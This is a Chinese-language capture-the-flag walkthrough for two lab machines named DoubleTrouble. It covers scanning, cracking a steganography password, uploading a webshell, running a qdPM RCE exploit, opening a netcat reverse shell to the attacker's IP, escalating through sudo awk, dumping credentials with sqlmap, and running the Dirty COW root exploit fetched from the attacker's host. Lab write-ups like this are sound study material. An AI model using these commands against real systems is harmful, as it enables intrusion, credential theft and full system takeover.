萌新的DoubleTrouble:1试玩
一、启动环境(下载地址)
启动kali
二、开始操作
nmap扫描
nmap 192.168.131.0/24
发现目标,开启了80端口,web访问一下
没有注册功能,好像没法下手,扫扫目录
fuff扫描目录
ffuf -u http://192.168.131.62/FUZZ -w /usr/share/wordlists/dirb/big.txt
扫出来挺多的,但是感觉这个叫secret的目录有猫腻,进去看一下
破解图片隐写
有张图片,猜测可能隐写了一些内容,使用图片隐写工具查看内容
需要密码,用隐写爆破工具 stegseek 爆破一下,工具下载地址,安装方法也在里边
stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf out
并把爆破出来的文件保存为out
密码为92camaro,并且查看文件内容发现可能为80端口的登录账密,返回网页登录一下
进来了
逛了一下发现一个非常重要的操作,切换成中文(雾)
文件上传
在我的账户界面发现似乎可以文件上传的点
尝试上传一句话木马
点击上传(ps:上传了之后会报错,但是也是上传成功的,上传之后的地址在localhost/uploads/users目录下,上传之后的文件名会有数字前缀)
蚁剑连接成功!(后续ps:这一步可以略过)
EXP代码利用
使用Exploit Database搜索qdPM,9.1版本有RCE漏洞,使用第一个
下载到kali里,执行命令:
python 50944.py -url http://192.168.232.62/ -u otisrush@localhost.com -p otis666
脚本提示我们后门已经上传到了http://192.168.232.62//uploads/users/?cmd=whoami,在uploads里也可以看到后台文件(ps:这里我由于切换网络ip地址有变动)
使用nc反弹shell
kali:nc -lvp 8888
靶机:http://192.168.232.62/uploads/users/915774-backdoor.php?cmd=nc -e /bin/bash 192.168.232.17 8888
已经连接成功了,转换为交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
awk提权
使用sudo -l
查看可以用sudo执行的命令
在网站寻找awk提权命令
sudo awk 'BEGIN {system("/bin/sh")}'
进入root目录,发现了一个.ove文件(真丶双重麻烦),下载到本地
靶机:python3 -m http.server 8088
kali:wget http://192.168.189.5:8088/doubletrouble.ova

三、操作第二个靶机
导入到VMware中启动
nmap扫描
发现靶机ip
非常简单的框架,扫目录啥也没扫出来,试试SQL注入
SQL注入
sqlmap -r doubletrouble --dbs
看起来doubletrouble库是需要的,逐步把信息跑出来
sqlmap -r doubletrouble -D "doubletrouble" --tables
sqlmap -r doubletrouble -D "doubletrouble" -T "users" --columns
sqlmap -r doubletrouble -D "doubletrouble" -T "users" -C "username","password" --dump
ssh登录
网页上都无法登录,使用ssh登录ssh clapton@192.168.232.29
然后输入密码ZubZub99
,另一个登录不上
用户目录下有一个.txt文件,是一条flag
提权
检查一下内核版本uname -a
存在脏牛提权漏洞,将dirty.c下载到kali后,使用python启动http服务,让靶机下载dirty.c
kali:python3 -m http.server 9876
靶机:wget http://192.168.232.17/dirty.c
编译一下
gcc -pthread dirty.c -o dirty -lcrypt
然后创建一个密码为 root 的 root 用户 firefart。此外,它还将原始 /etc/passwd 文件备份为 /tmp/passwd.bak。
./dirty root
然后su登录
成功!移动到root目录下拿到第二个flag
结束